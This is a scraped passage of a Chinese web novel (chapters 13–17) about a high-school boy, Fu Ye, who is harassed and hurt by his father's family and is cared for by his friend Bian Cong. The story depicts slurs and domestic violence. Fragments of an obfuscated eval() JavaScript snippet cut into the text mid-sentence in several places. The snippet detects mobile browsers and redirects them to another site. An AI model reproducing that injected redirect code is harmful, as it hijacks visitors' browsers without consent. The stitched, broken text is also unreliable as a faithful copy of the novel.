RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15224147|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到把你俩忘里面了。” 边淙:…… “诶你别生气,你先把奶茶接着。”唐筱晴自觉有错,殷勤地将没拆封的奶茶往边淙和付野的手心里送,“别生气了边淙,我给你买了你爱喝的奶茶,但我不知道付野你爱喝什么,就买的这家店的招牌,你们都别生气了,是我的错,别气了别气了。” 边淙看着她,哭过的眼睛红彤彤的,边淙本身就没生气,这会儿更是气不起来:“哎算了没事,反倒是你,你还好吧?哭抽过去也太离谱了,你好点儿没啊?” 唐筱晴弯着眼角摇头:“已经没事儿了!” 付野握着唐筱晴塞给他的奶茶,偏过头看向边淙。 骗子。 明明刚刚还是一副很生气的样子。 唐筱晴只是说了两句话他的态度就软下来了。 “刚刚等你们的时候让NPC给我们讲了这个密室的后续和结局,等会回去的路上我给你们讲。”陶阳焱拿着签字叉了一颗丸子递在边淙的唇边,“现在先回去找个地方吃饭再找个地方写作业了,陈阳回去要交差的。” 边淙“哦”了一声,咬下那颗丸子的瞬间,抢过了陶阳焱手里的关东煮和签字,签子叉起汤底里的最后一刻牛肉丸,递到了付野的唇边,牛肉丸贴上了他的唇瓣,有一点点烫:“吃不吃?” 付野几不可见地蹙了一下眉,这个签子是陶阳焱用过的。 他往后仰了仰头,摇头说不吃。 “真不吃啊?”边淙冲着他挑了一下眉。 付野摇头:“真的不吃。” “那我吃了啊。”边淙嘿嘿笑道,将这颗牛肉丸塞进了自己的嘴里,他两边的腮帮子各塞着一颗丸子,鼓鼓囊囊的,看起来像一只囤满货的仓鼠。 付野站在他的侧后方,视线一直落在他的身上。 陶阳焱闹腾着去抢边淙手里的关东煮,没抢到就索性就着边淙的手喝了一口关东煮的汤,而后发出满足地喟叹。 好刺眼。 陈阳啃着鸡翅包饭笑嘻嘻地给边淙咬了一口,鸡翅上的牙印交叠在了一起,他看见陈阳收回手,大大咧咧地又在那枚鸡翅包饭上咬了一口。 好刺眼。 黎夏漾端着章鱼小丸子,递了根干净的签子给他,边淙插起一颗小丸子整个塞进嘴里,含混地边哈气边喊着好烫好烫烫着嘴了,黎夏漾无语又好笑地用手给他的嘴扇风。 好刺眼。 “你真不吃吗?我看着他们吃东西我立马就饿了!”把每个人手里的小吃都吃了个遍的边淙不忘偏头看向付野,“或者你有想吃的东西没,我们一块儿去买,不分给他们吃。” “你立马就饿了那是因为你是猪啊边淙!”陈阳冲着他喊了一句。 “我是猪那现在正在吃东西的你又是什么呢?!”边淙不甘示弱地喊了回去。 一群人凑成一团笑个不停,站在旁边很使劲才能挤出一个笑容的他格格不入,像个异类。 边淙的笑容洋溢着,看上去温暖又阳光。 好刺眼。 明明他和边淙足够亲密。 但边淙和每一个人都很亲密。 13.第 13 章 咖啡店角落的圆桌旁围坐着六个拿着笔闷着头写作业的学生,圆桌上堆着的全都是试卷和草稿纸。 他们身后的那一桌则是坐了个骂骂咧咧做表格的社畜。 这一块儿区域已然成为了整个咖啡店里怨气最大的地方。 边淙望着铺在自己面前的试卷们,咬着笔杆,脑袋一个劲儿地往下栽。 也是没有办法的事儿,一般情况下只要他哥哥不带着他的数学老师在假期回家,他的假期作业都是堆到最后一天下午才会开始动笔的。 拖延症这个毛病他觉得自己是一辈子都不可能摆脱掉的。 “边淙。” 笔杆敲在他脑袋上时,边淙被吓得一个激灵,咬在嘴里的笔“啪嗒”一声滚落在地,他目光有些呆滞地望向前方。 唐筱晴一脸无奈地看着他:“你别犯困,看你犯困的样子我也想打哈欠睡觉。” 付野闻声并没有抬起头,他的视线一直在英语试卷的那一篇阅读理解上。 只不过一直在看着同一行文字,没有半分进度。 “哎这店里这声音跟ASMR一样,听着太困了。”边淙弯下身捡起笔,侧着脑袋整个人往桌上一瘫,“我就眯一会儿,就一会儿。” 唐筱晴盯着他毛茸茸的脑袋看了一会儿,抬手从他的脸下抽出了那张物理试卷。 试卷上写了个名字,和最后两道大题。 前面的选择题和老师口中的送分大题他一个字都没动。 “你别睡啊,你这题写出来了——”唐筱晴抬手指了指倒数第二道大题,“给我讲讲呗?” “啊,行。”边淙打了个哈欠,拿着试卷站起身和坐在唐筱晴身边的陶阳焱换了个位置,“你写了多少,你先给我讲讲你的思路?” 付野低着头,笔尖落在英语试卷上,笔尖往外洇着墨汁,直到在试卷上洇出一块无规则的污脏墨点。 坐在他对面的两个人讲题的声音很小,所以他们几乎是肩膀抵着肩膀,头碰着头的,看上去很亲昵。 而周围的几个人没有任何一个对此感到奇怪,每个人都是一副习以为常的样子。 “你少推了一个条件才卡在这里算不下去的,现在再算试试?”付野听见边淙的声音,“我还是有点困,我去买个咖啡,你喝不喝?” “不喝。”唐筱晴摇头,“喝咖啡晚上睡不着。” “你们呢,要喝吗?”边淙抬起眼看向其他人,“我一块儿去点单了。” 陶阳焱和陈阳没说话,但摇了头。 “我也不喝,我奶茶都没喝完。”黎夏漾晃了晃奶茶杯,“你自己去吧。” “你呢?”边淙拿着自己的试卷回到付野身边坐下,偏头望着他,“喝咖啡吗?” 付野很快地将手中的试卷翻了个面,那个漆黑的墨团没有落入边淙的眼里。 他听见自己的声音:“我跟你一起去吧。” “行,走走走。”边淙站起身,拉着付野的胳膊带着他一块儿走到了收银台前,视线在菜单上晃了一圈后—— “又不想喝咖啡了,我想吃冰淇淋。” “诶?”付野偏头看他。 “陪我去买冰淇淋吧?”边淙朝着他快速眨了两下眼,勾着唇角笑了笑,“不远,就在楼上。” 付野应了声好,跟在边淙的身边走出了咖啡店。 他的脑子太乱了,一会儿是英语试卷上的那篇怎么看都看不完的阅读理解,一会儿是边淙对着自己的笑的样子,一会儿又是边淙和唐筱晴,和其他人交好的场景。 很乱,也很不知所措。 他还记得自己入学时候的诉求明明只是高考时考一个好一点的成绩,离开榆城,去到一个没有人认识他的地方,开始属于他自己的真正的生活。 但现在的他的情绪却都在被身旁的人勾着走。 连一篇完整的阅读理解都看不完了。 他不该这样的。 “他们俩不是买咖啡吗,怎么还出……”黎夏漾端着奶茶杯嘬了一口,抬起眼正好看见推门离开的边淙和付野,疑惑道。 话音未落,她看见一个男人径直朝他们这一桌走了过来。 男人站定在桌边,一副十分熟稔的样子拿起了付野的那张英语试卷,看见了他的名字。 “你好,请问你找谁?”陶阳焱皱着眉,本来写不出题就烦,这会儿还突然来了个陌生人自来熟地直接拿起了同行人的试卷,像莫名其妙来检查作业似的。 “你们是付野的同学啊,跟他交朋友了?”男人像是扔垃圾一般将那张试卷扔回了桌面上,轻飘飘的,掉落在地上,“小朋友,你们知道他是个什么样的东西吗?” “抹茶暴风雪加四份布朗尼。”边淙光是望着菜单上的图片就已经开始嘴馋了,“中杯,谢谢。” “你要什么口味的?这家店的冰淇淋做得很好吃。”他偏头看向付野。 付野看了一圈,他对什么口味的冰淇淋都没有很大的兴趣,更别提这家店的冰淇淋价格不低。 “你喜欢吃抹茶吗?”付野问。 “是啊。”边淙点头,“以前也没有很喜欢,但我哥哥很喜欢,他总是买很多抹茶味的东西吃不完就强行塞给我,吃得多了就带着我也一块儿喜欢上了。” “那我……”付野顿了一下, “跟你拿一样的吧。” “两杯,谢谢。”边淙抬眼看向店员,并且在付野掏出手机准备付钱的那一刻,将自己的付款码展示给了店员。 付野瞧见他的动作,连忙去拉他的胳膊:“我自己付就好。” “我喊的你陪我一块儿我付就行,下次你要喊我一块陪你干什么我就等着你投喂我了啊。”边淙抬手搂着他的肩膀笑了笑,“怎么样?” 付野感受着他手臂传到自己肩膀的热源,很郑重地点头说了声:“好。” 端着冰淇淋回到咖啡店,俩人还没坐下,其他几个人的视线就已经投到了他们的身上,且视线有些古怪。 “干嘛啦我俩不就是去买了个冰淇淋你们用得着这么看我俩吗?”边淙咬着红色的勺子,塑料勺儿随着他说话的动作,一上一下,像跷跷板似的,“安心写题啊你们!!” 本该安心写作业的几个人依旧没有低下头继续写题,仔细瞧瞧,他们的目光并不在边淙的身上。 他们欲言又止地看向了付野。 “怎么了啊?”边淙拉着付野坐了下来。抬手在每个人的面前都挥了挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230220|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“密室后遗症?离了我俩你们全中邪了?哈喽?嗨?你好?” “别贫。”黎夏漾拍开了他的手,好一会儿后,她深呼了一口气,直视着付野,郑重其事地开口,“付野,你……现在还会有人找你麻烦吗?” 边淙:“诶?!怎么突然问这个?” “刚刚,有个人说自己是付野的哥哥,来跟我们说了些……很奇怪的话。”唐筱晴犹豫着开口。 付野的表情在听到黎夏漾这句话的那一瞬间,变得很难看。 学校加强管理后他那位并没有什么本事的哥哥进不来学校,好几次找到他家门口后又只敢动嘴问他什么时候去死,却不敢真的动手。 难怪这段时间消停了一段时间,原来是在这里等着他。 阴魂不散,恶心至极。 唐筱晴看到了他的表情变化,有些着急地看向付野:“我们跟你说这个不是因为我们在意这些话,大家都不介意这些的,我们只是担心你在外面受欺负。” 边淙拧着偏过头看向付野。 付野站得很直,头垂得很低。 边淙能感受到他整个人在发颤。 私事被张贴在学校的宣传栏里还不够吗?带着姓名和照片,带着辱骂意味的称呼落在每一个人的耳中还不够吗?已经度过了过街老鼠般的十七年还不够吗? 他现在不过是稍微和人走得近了些,就一定要把他这身本就遮掩不住任何的皮扒下来,放下烈日下让他无处遁形吗? 周围认识的,不认识的人好似都在看着他,落在他身上的目光宛如有了实质,一只又一只眼睛盯着他,使他濒临窒息。 一瞬间,他的余光看见了站在玻璃外,抱着臂一脸嘲弄望着他的,那位哥哥。 付野轻颤着手将那一杯边淙买给他的冰淇淋放在桌上,快步走出了咖啡店的门。 “诶?诶!!付野!!”边淙冲着他的背影喊了一声,他看见付野的脚步顿了顿,但没能阻止他冲向外面的那个人。 “你别喊了直接去拦着啊!我看付野一副要杀人的表情!对面报警就完蛋了!”陶阳焱拉过陈阳撑着桌子站起身,“你俩女生别出去啊,坐里面千万别乱动!!” 边淙手忙脚乱地放下刚吃没两口的冰淇淋,跟在了陶阳焱的身后,快步跑到了付野的身后。 在他握紧拳头挥向那个男人时,边淙搂着他的腰往后猛地一拽,拳头堪堪擦过了男人的脸颊。 “别动手!你还是个学生!”边淙凑近他的耳边小声喊,“打起来你也会受影响的!” 那个男人好整以暇地看着可以称之为气急败坏的付野。 这么多天了,总算在他的脸上看到了不一样的情绪。 “我不过让你的朋友们知道些真相而已,你妈是怎么爬……” 下一秒,边淙抬起来一只搂在他腰间的手,捂上了他的耳朵,将他带进来自己的怀里。 他的左耳贴着边淙的心脏,右耳被..干燥温暖的手紧紧捂住。 那些污言秽语被边淙强而有力的心跳声所隔绝。 “没关系付野。”震耳欲聋的心跳声中,他听见边淙的声音。 “不管他说了什么,这些事情全部都不是你的错。” 14.第 14 章 一行人回到咖啡厅的时候,边淙拽着付野的手腕坐回了角落的圆桌前。 “你们没事儿吧?”唐筱晴拧着眉担忧地望着他们,小声道,“我们两个在里面看着快吓死了。” “没事。”陈阳摇头,“只是……”他抬起眼,视线扫了一圈。 咖啡厅里,玻璃窗外,很多刚刚观赏了这一出闹剧的人都有意无意地将视线投到他们的身上。 “有什么好看的。”陈阳收回视线,烦躁地骂了一声。 “换个地方吧?”陶阳焱摸了摸鼻子,低着眼没看付野。 被人当乐子盯着的这一刻,他才真正理解到了当时付野刚来他们学校时的难堪,他那个时候的处境比现在更甚。 即使当时付野进他们班上的时候很多人并不是排斥,只是好奇,包括他也一样,但刀不落在自己的身上自己是感觉不到痛的。 “刚好饿了,去别的地方吃个饭然后换个地儿写作业得了。”边淙揽着付野的肩膀,“你们想吃什么?” “听付野的吧,付野你想吃什么?”唐筱晴边收拾书包边开口。 付野垂着头抿着唇,很长时间后才憋出来一句:“对不起。” “对不起什么啊?”边淙无奈又好笑地抬手揉乱了付野的头发,“本来就和你没有关系的事情,不需要道歉。” “没有我的话,你也不会碰见这种事情。”付野低着脑袋摇头。 “确实诶。”边淙点头,“没有你的话我也不知道我有这么神勇,感恩有你,让我又发掘出了自己的一个优点。” “你还真是顶级自信哈?”唐筱晴背着包站起身,挽着黎夏漾走到边淙的身边拍了拍他的肩膀,侧过头看向付野笑道,“吃什么呀付野,我也饿了。” 付野很快地眨了眨有些酸胀的眼睛,摇头:“我也不知道。” “那听我的吧主要是我突然好想吃火锅。”边淙举手,“先收拾东西,然后直奔火锅店!!” “不是说好听人付野的吗怎么又成听你的了?”陈阳撇着嘴盯着他。 “有你什么事儿又让你做主啦?!”黎夏漾没好气地看他。 “不听你的,听付野的。”唐筱晴说,“付野你说,你想吃什么?别管边淙,今天你说了算。” 边淙:…… 他转了个身,蹲在了付野的面前,仰着头眨巴眼看他:“付野……” “我……”付野望着他那双犹如小狗般透亮的眼睛,很轻地吸了一下鼻子,“火锅吧。” 边淙“欻拉”一下站起身:“好耶!!” “你就惯着他。”陶阳焱瞅他俩一眼,“不过火锅就火锅吧,哪家店?我打个车,六个人坐不下,边淙你再自己打个车。” “知道知道。”边淙点头,掏出手机,“定位我发你微信。” 背着包捧着那一杯已经化了不少的冰淇淋坐进车里后,他低着头,很慢很慢地吃着冰淇淋。 陶阳焱坐在副驾上,边淙坐在他的身边,两个人都在绕开一切会让他不开心的话题陪他聊天。 来榆城的第一天他就很讨厌这个地方。 但现在的他,好像贪恋上了榆城炽热的阳光。 就算他只是旧石板上的一片青苔。 就算边淙是普照所有人的小太阳。 吃过饭后,天色已经昏暗了下来,原定吃过饭后找个书店或者自习室一起写题的计划在黎夏漾母亲的来电中告吹。 黎夏漾接到电话要早点回家,唐筱晴自然也跟着她一块儿,而刚刚经历过被陌生人找上的事情后,几个大男生自然也不可能让两个小姑娘单独回家。 一群人先送黎夏漾到家,又送唐筱晴到家,便不再剩下给他们写作业的时间了。 “你能行不?你不会被你妈妈骂吧?”边淙望向陈阳。 “应该能行,我还是写了不少的。”陈阳甩下来自己的书包晃了晃,“你们回去路上注意安全,尤其是你啊。”他看向付野,“注意安全。” 付野点头:“好,谢谢你。” “不客气,那我和火火先走了,我俩跟你俩家是反方向。”陈阳冲着他们挥了挥手,“拜拜,过几天见!” “走了啊,拜拜!”陶阳焱揽着陈阳的肩膀冲着他们挥手。 “拜!”边淙点头,望着两位好友的背影渐行渐远后,搭上了付野的肩膀,“我们也回去吧。” 付野点头:“好的。” 茂盛的梧桐树下,并肩的少年影子被月光无限拉长。 边淙走两步蹦跶两下,在看到有小野猫钻进小树林时还会蹲下身夹着嗓子冲着小猫喵喵叫。 付野跟在他的身边,感受着身旁人青春的活力。 即使是在昏暗无光的夜晚中,边淙依旧耀眼。 这样的人理所应当被所有人捧在手心里,理所应当被所有人喜欢。 “啊——”边淙眼睛一亮,他的视线落在了亮着光的蛋糕店门头灯上,“付野,陪我——” 边淙手中的购物篮里,小蛋糕小面包小饼干什么的越堆越多,付野的视线却只落在那个看到美食就两眼发光的人身上。 太可爱了,这个世界上怎么会有这么可爱的人。 看着他往已经满了的购物篮里夹缝塞东西。 太可爱了。 看着他拎着购物篮哧溜一个滑铲停在收银台前。 太可爱了。 看着他将购物篮里的东西一个一个拿出来,对着收银员扬起笑容。 付野绷直了上扬的唇角,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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[快乐小狗:我偷偷塞进去的哈哈哈哈哈我是不是很有做怪盗的天赋] [快乐小狗:小狗戴墨镜.JPG] [快乐小狗:吃点甜食心情好,马卡龙超甜] [快乐小狗:狗狗撒花.JPG] 付野拿过那一盒马卡龙抵在胸口,看着那两只在他屏幕里活跃的小狗表情包,很长时间都没有动静。 边淙真的太好了。 想要据为己有。 想要,据为己有。 这个念头冒出来的那一瞬间,付野猛地一个激灵。 他今天的所有情绪,开心,妒忌,惶恐,心安,以及这一刻产生见不得光的想法在这一瞬间有了解答。 这些情绪杂糅在一起,别名叫做喜欢。 15.第 15 章 “小朋友们,下次再见。” 付野突然想起了那个男人临走前说的话,那会儿的他耳朵虽然被边淙捂住了,但这句话还是随着风,幽幽地钻进了他的耳朵里。 像夏天黏腻的风一样阴魂不散。 谁要跟他再见。 付野紧紧攥着桌角,很用力地呼吸。 即使他那崎岖坎坷的身世同学们大概都已经心照不宣了,但付野依旧不希望自己在他的面前再被剥皮抽骨一次。 这人缠着他,他尚且能忍受。 私生子是事实,野种也是事实,无论错在不在他,他终归是不占理的错误产物,是导致他家庭不和的导火索之一。 没关系的,他怎么样都无所谓。 但要说有没有恨,那当然也是有的。 可是现在他找到了新的目标,他如果要去缠着其他人,他如果想要像折腾自己一样去折腾边淙他们,如果像对待他一样找人堵在学校门口欺负他们,如果影响到他们的正常生活…… 付野攥着桌角,紧紧闭了一下眼睛。 他们每个人都不该经受这些糟心事。 再度睁开时,眼底是一片漆黑。 他无法忍受一星半点。 敲响那个只踏足过一次的地方房门是在第二天中午饭点的时候。 十月的榆城依旧炎热,上了楼梯敲响房门的时候他的背上已经泌出了一层薄薄的汗。 来开门的是本就满脸不悦的女人,在看见他的那一刻,女人脸上的厌恶与鄙夷直接摆在了明面上:“婊//子养的野种,这里不欢迎你。” 付野抬眼看了她一眼,很快收回了视线:“我说几句话就走。” “你来干什么?我已经不止一次说过我不会认你这个儿子,你怎么好意思腆着个逼脸在这个时候过来?”坐在饭桌上的男人听见动静探了个头,望见他的那一瞬,不爽地地用筷子敲碗,“砰砰砰”的声音刺得人耳膜难受。 付野皱了皱眉,他还没来得及说话,那个女人先扬了嗓子:“要不是你在外面乱搞能有这堆破事?狗//日的下贱东西!” “你这逼女人还骂起老子来了,你他娘的有种再说一遍?”男人摔了筷子,猛得一拍桌子站起了身。 两个人面红耳赤针锋相对,说出来的话越来越脏。 真不知道这样一个没有本事没有教养除了一副好皮囊以外一无是处的男人到底哪一点吸引了他那位母亲。 付野蹙着眉,往后撤了一步。 “把我家搅得一团乱,还敢这么堂而皇之敲门进来?”那位血缘上的哥哥拉过了自己暴跳如雷的母亲,冷冷地望着他,“来找我爸要钱吗野种?我家没钱给你!” 付野勾着唇角,轻蔑地笑了一声,说出来他一直想说却没说出口的话:“把你家搅得一团乱的是我吗?难道不是你那位好父亲自己管不住自己的下半身吗?” 男人被戳中了脊梁骨,也不顾着跟自己老婆吵架了,他猛地抄起瓷碗砸向付野,付野闪了个身,飞溅的瓷片在他的脚边炸开。 男人因盛怒而暴起的青筋顺着脖颈一路蜿蜒攀爬至太阳穴,他猛地冲到付野面前,反手一巴掌直接甩在了他的侧脸上。 力气很大,付野有些耳鸣。 “有娘生没娘养的东西,谁准你这么跟老子说话的?”男人抬手指着他吼,那看起来有一段时间没修建的指甲缝隙里是不知从哪儿抠到的污渍,此刻几乎要戳进付野的眼珠里。 付野后撤了一步,仰起头居高临下地看着他,他抬起手抚上自己的脸颊,舌尖顶着腮缓解耳鸣感。 “我不要你的钱,我也不要你这个爸,你们之前闲着没事找人堵我也好,来我学校发病也好,我都不在乎也不想计较了。”付野望向了那位哥哥,“但是,你们要是再找上我身边的人——” “你就怎么,你妈什么逼样敢做不敢让人知道?”女人扯着嗓子对他吼,“我就是要让人知道,让你同学知道,让你老师知道,看看你是个什么货色!贱//种东西!” “想着靠你这张婊//子脸交朋友,学着你妈的逼样勾引男人,让他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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女人被他云淡风轻的态度和自己儿子脖子上溢出的血迹彻底吓到了,颤抖着呢喃:“真是个疯子……” “是的。”付野弯着眼睛笑意盈盈,“所以,别惹疯子,好吗?” 16.第 16 章 国庆节假期结束后是两天的运动会,二中的高三生在运动会上有特权,没有报名项目指标,只要人在学校里就可以了,所以对于大部分学生而言,这就是接在国庆节之后的两天小假期。 只是—— 运动会的第一天,付野没来。 运动会的第二天,付野依旧没来。 边淙戴着耳机趴在桌子上,时不时地回头看着那个空空如也的座位。 虽然这个时候班上总共也没几个人,但他的目光却一直锁定在付野的座位上。 他不仅连续两天没来学校,这两天里他发过去的消息也都没有收到回复。在这之前付野不仅没有过不回消息的情况,就连他们两个每次的对话,最后一个对话框也都永远是对面的。 不会是出了什么事儿吧? 他有那样一言难尽的哥哥和即使自己并不了解也不用想也知道并不好的家庭环境。 边淙越是想下去眉头皱得越紧。 冰镇的可乐贴上脸颊,边淙一个激灵坐起了身。 “你怎么了?一副萎靡不振的样子,不舒服?”陶阳焱将贴在他脸上的那一罐可乐递给了他,“哪儿不舒服啊?” “没不舒服。”边淙摇摇头,摘下耳机塞进耳机盒里,“我在想付野怎么没来学校。” “你不是问了老班吗?”陶阳焱一屁股坐在了他的身边,“老班怎么说?” “老班说他发烧请假了。”边淙说。 “那可能就是想着反正运动会也不讲课,干脆在家休息两天得了吧。”陶阳焱说。 “可是他连我消息都没有回,从昨天到现在一条都没回,之前没有过的。”边淙有些不安地捋了一把自己的头发,“你想啊,他那个哥哥都那么离谱了,这次又被咱拦住了,他家会不会……打孩子,给孩子打到不能上课啊?” 边淙的脑子里莫名闪出了黎夏漾去年的时候疯狂吐槽过的火葬场挖眼挖肾文学。 他猛地打了个寒颤。 “不至于吧?咱们现在是法治社会啊。”陶阳焱拍了一下他的背,见边淙很长时间没有说话,也被他这反应整得有些不自信了,“应该……不至于吧?” 边淙抿了一下唇。 之前气温比现在还要高的一段时间里,付野每天都穿着长袖外套,并且拉链永远是工工整整拉到最顶端。 他交际圈里的这几个朋友,每个人都好奇过“付野不热吗?”这个问题,也有人当面去问过他,付野给出的回答都是摇头。 但是边淙看见了,他知道付野那段时间天天穿外套将自己整个人都包裹住的原因。 那会儿的付野,脖子上有好几块淤青。 “不行我感觉很慌。”边淙猛地站起身,椅子在地面上划过刺耳的声音,前排趴在桌上睡觉的人很大声地“啧”了一声,一脸困倦地望向了边淙。 “对不起对不起!”边淙赶忙放轻了动作,对着他道歉。 “……没事,你动静小点就行,吓我一跳。”那位同学摇了摇头,换了个姿势趴回课桌上。 边淙应了声好,蹲下身在书包里翻自行车钥匙:“我请个假去他家看看。” “你知道他家在哪儿吗你?”陶阳焱问。 “知道。”边淙点头,之前只是知道在哪个小区,但现在他知道具体是哪一栋楼哪一户。 付野在自己家的阳台朝他挥过手。 “那你……千万注意点安全啊,万一他家人真那啥,连着你一块儿揍了,你妈得发疯了。”陶阳焱很轻地抿了一下唇。 说实话他一直挺佩服边淙的,这个人从初中到现在一直都没有变,中二病一般的正义感和圣父心永远爆棚。 他做不到像边淙这样,即使现在于他而言付野是他的朋友,他也不会去蹚这趟浑水。 “嗯,放心吧。”边淙将钥匙揣进裤子口袋,去往了教师办公室。 虽然运动会期间门卫管得不严,但他要穿着校服堂而皇之骑车开溜,还是开一张假条比较好。 敲响办公室门的时候,里面的老师们正凑在一块儿聊天,边淙应声径直走到了班主任的桌边。 “怎么了?”赵勇德一脸疑惑地仰头看他。 “老师,我想请个假。”边淙说,“想去探望一下付野,他不是生病了吗?” 赵勇德拉长尾音“啊——”了一声。 之前他提过一次让这俩学生进行一番互相学习成绩互补,不仅仅是为了学习,也是想要付野这个初来乍到的孩子跟同班同学们有些交际,不至于那么孤狼。虽然那会儿在办公室的付野想也没想就拒绝了,但现在明眼人都能看出来边淙已经和他处成了朋友。 边淙这小孩儿的社交能力是真的很令人放心。 “行。”赵勇德点点头,打开抽屉拿出假条和笔给他签假条,“有什么情况及时向我反馈,路上注意安全。” 边淙接过热乎的假条,头也不回地往外走:“知道了!” 畅通无阻到了付野家楼下时,边淙数着窗户算楼层。 两分钟后,他站在了付野家门口。 付野的家门上对联是破旧的,红色的纸张下是更旧的红色,一张电器维修的小卡片卡在门缝里。 万一……万一真的像自己想的那样,万一付野真的不是生病,真的是被他那个神经病哥哥打了怎么办? ……不管怎么样,先敲门吧。 边淙握紧了手机,连着做了好几个深呼吸后,敲响了门。 一下,两下,三下。 四下,五下,六下。 无人应答。 边淙那不好的预感越来越重,他那跳脱的思维已经发散到付野奄奄一息躺在床上呼救无门了。 正当他斟酌着到底该怎么办的时候,锁舌“咔哒”响了一声。 那张小卡片无声地落在地面上。 “您好,我是付野的同……” “不是已经说了不要再……” 两个人的话都只说了一半,望见对方的那一刻,剩下的半句话都咽了下去。 “边淙?你怎么来了?”付野感觉自己可能发烧太长时间产生了幻觉。 不然他无法解释为什么边淙会出现在他家门口。 边淙看着付野。 他赤着脚踩在地上,身上是有些皱的T恤,右手手臂的内侧有一条很长的,尚未愈合的划痕,他的嘴唇苍白,唇瓣干到开裂,脸色是不健康的红,左边脸颊肿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253189|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很明显。 完了。 他猜对了。 付野真的挨打了。 边淙紧皱着眉,视线望向付野的身后。 他的身后空空如也。 “边淙?”付野的声音也很虚,他整个人都有气无力的。 边淙收回视线,抬手托了他一把:“你现在是一个人在家吗?” 实质的触感使得付野有了“边淙真的在他家门口”的实感。 蓦地,他整个人连眉眼都放松了下来,虚浮酸软的腿无力,不可控地往前跌倒。 而后跌进了一个温暖的怀抱中。 “付野!”边淙弯着腰搂着他,垂着眼看他,“你没事吧?” “没事。”付野说话很慢,他想站起来,又不想站起来,“你怎么过来了?” “老班说你发烧了。”边淙说,“你又两天没回我消息,我……不太放心,过来看看。” 付野虚环着他的腰,指尖在空中轻颤,却始终不敢真的落下去:“烧应该已经退了。” “什么应该啊你连站都站不稳!”边淙有些急眼,这人也太不在乎自己的身体了,“我先扶你进去。” 说完,他很快补了一句:“我能进去吗?” 付野“嗯”了一声:“可以的。” 左脚踩右脚蹬掉运动鞋,边淙关上了门,带着付野走进了卧室。 倒也不是对这个地方足够熟悉,只是付野家很小,一个客厅一个卧室,一眼就望到了头。 边淙扶着他躺在了床上,蹲下身,胳膊交叠搭在床沿上,微蹙着眉看着他肿胀的脸颊。 “我一个人住。”付野后知后觉地回答着他的上一个问题。 “这样。”边淙点点头,“你……胳膊和脸,是……”边淙小心翼翼地找寻着措辞,无论是他那位哥哥或者是父亲,都是付野名义上的“家人”,但他觉得付野大概并不希望他们被称呼为“家人”。 “是。”付野听出了他的犹豫,索性直接点了头。 巴掌是他的父亲甩在他脸上的,手臂上的划痕是他从那个房子里离开之前他的哥哥划的。 他很轻地笑了一下:“你放心,他们不会去骚扰你,也不会再去找陈阳他们的,不会了。” 来榆城的这段时间里,那一对母子不止一次把生活中遇到的不如意,父子不合、夫妻不睦全都理所当然地推到他这个沉默寡言的野种身上,对他肆意欺辱。 但如果这个野种亮出獠牙,暴露自己是疯狗的事实,随时有可能反扑一口的话—— 他们又会变得小心翼翼战战兢兢不敢靠近。 孬,且没种。 边淙的眉头皱得更深了,他一开始以为是那边的人来找付野的麻烦,但听到付野的这句保证时,反倒更像付野自己为了这个一个保证,把自己送到了他们的面前。 什么自损八百的行为啊。 他敛着眸,轻叹了一口气,手背很轻地贴上了付野肿起来的侧脸上:“疼吗?” 温热的指节轻柔地碰上脸颊那一刻,付野的身体反应第一个给出来的不是刺痛,不是躲闪,而是烧。 好不容易有退烧迹象的他,此刻身体好像又滚烫了起来。 17.第 17 章 边淙,这样一款由爹妈保护得很好、并不知道发烧人体温到底是什么范围的生活白痴也能感觉到付野的体温好像不对劲。 他紧皱着眉,贴在付野脸颊边的那只手撩开了他的额发,掌心紧紧贴着他的额头。 贴了大概有小半分钟,边淙有些尴尬地收回了手:“摸不出来。” 付野偏过头,刚想开口告诉边淙床头柜抽屉里有体温计时,一道阴影落下。 边淙撩开了自己的额发,倾身下来,两个人额头抵着额头,错乱的呼吸交织在一起,滚烫着每一寸皮肤。 “好像是比我脑袋烫一点。”边淙松开手,望着他,“你就这样烧了两天吗?” 付野很轻地抿了一下唇。 从那家人家里出来,回到这个小房子之后,当天晚上他就开始浑浑噩噩开始发烧,准确来说,他已经烧了不止两天。 “现在已经退了。”这也不是骗边淙的话,比起最开始的时候他的体温已经明显趋于正常了。 